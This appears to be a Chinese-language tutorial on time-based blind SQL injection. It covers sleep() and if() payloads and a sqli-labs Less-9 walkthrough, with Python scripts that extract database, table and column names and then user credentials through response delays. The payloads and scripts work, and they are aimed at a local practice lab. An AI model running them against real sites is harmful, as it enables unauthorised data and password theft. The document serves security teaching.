目录
1、时间盲注
1.1原理
2、常见函数
2.1延迟函数
2.2相关函数
3、注入流程
3.1判断注入点
3.2测试可注入方式
3.3猜数据库长度
3.4猜数据库名
4、靶场示例(less9)
4.1判断注入点
4.2猜测数据库长度
4.3猜数据库名
代码:
结果:
4.4猜测表名
代码:
结果:
4.5获取字段名
代码:
结果:
4.6获取数据
代码:
结果:
1、时间盲注
1.1原理
通过一个页面加载的时间延时来判断,但是这和网络,性能,设置的延时长短有关系当对数据库进行查询操作,如果查询的条件不存在,语句执行的速度非常快,执行时间基本可以认为是0,通过控制sql语句的执行时间来判断是否存在注入。
2、常见函数
2.1延迟函数
sleep(N)函数
即如果写入到数据库被执行了,sleep(N)可以让此语句运行N秒钟(通过执行时间来判断是否被执行,但是可能会因网速等问题造成参数误差)
2.2相关函数
if()函数
if(a,b,c),如果a的值为true,则返回b的值,如果a的值为false,则返回c的值
3、注入流程
3.1判断注入点
1)"and 1=1--+ 页面返回有数据
2)"and 1=0--+ 页面返回有数据
则:页面的返回没有变化,可能是盲注
3.2测试可注入方式
1)页面没有回显位置(联合注入无法使用)
2)页面不显示数据库的报错信息(报错注入无法使用)
3)无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)判断使用时间盲注
3.3猜数据库长度
and if((length(database()))=10,sleep(5),1)--+
如果页面延时了,则:当前数据库名称长度为 10
3.4猜数据库名
and if(ascii(substr(database(),1,1))=107,sleep(5),1)--+
若页面延时了,则:数据库第一个字母是k... 类推得到数据库名
4、靶场示例(less9)
4.1判断注入点
进行多次尝试,如果页面沉睡3秒,说明存在注入点。
4.2猜测数据库长度
?id=1' and if(length(database())=8,sleep(3),1)--+
如果数据库长度等于8,则页面沉睡3秒,如果数据库长度不等于8,则页面无反应。
4.3猜数据库名
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(3),1)--+
如果数据库名的第一个字符的ascii码值是115,则页面沉睡3秒,如果数据库名的第一个字符的ascii码值不等于115,则页面无反应。
我们可以通过一个python脚本来获取数据库名
代码:
import time
import requests
url = 'http://127.0.0.1/sqli-labs-master/less-9/index.php'
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
res = {"id": payload}
start_time = time.time()
r = requests.get(url, params=res)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
结果:
4.4猜测表名
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=97,sleep(5),1)--+
此时页面并没有沉睡,说明表名的首字母的ascii码值不为97.
我们可以通过一个python脚本来获取表名
代码:
import time
import requests
url = 'http://127.0.0.1/sqli-labs-master/less-9/index.php'
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload ={
"1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
}
res = {"id": payload}
start_time = time.time()
r = requests.get(url, params=res)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
结果:
4.5获取字段名
把上面的python脚本中的payload变换一下
代码:
import time
import requests
url = 'http://127.0.0.1/sqli-labs-master/less-9/index.php'
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload ={
"1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
}
res = {"id": payload}
start_time = time.time()
r = requests.get(url, params=res)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
结果:
4.6获取数据
代码:
import time
import requests
url = 'http://127.0.0.1/sqli-labs-master/less-9/index.php'
def inject_database(url):
name = ''
for i in range(1, 200):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload ={
"1' and if(ascii(substr((select group_concat(username,id,password) from users), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
}
res = {"id": payload}
start_time = time.time()
r = requests.get(url, params=res)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
结果:
5、总结
时间盲注使用的优先级并不高,通常是在联合注入、报错注入、布尔盲注都无法使用时才会考虑,希望这篇文章能带给你帮助。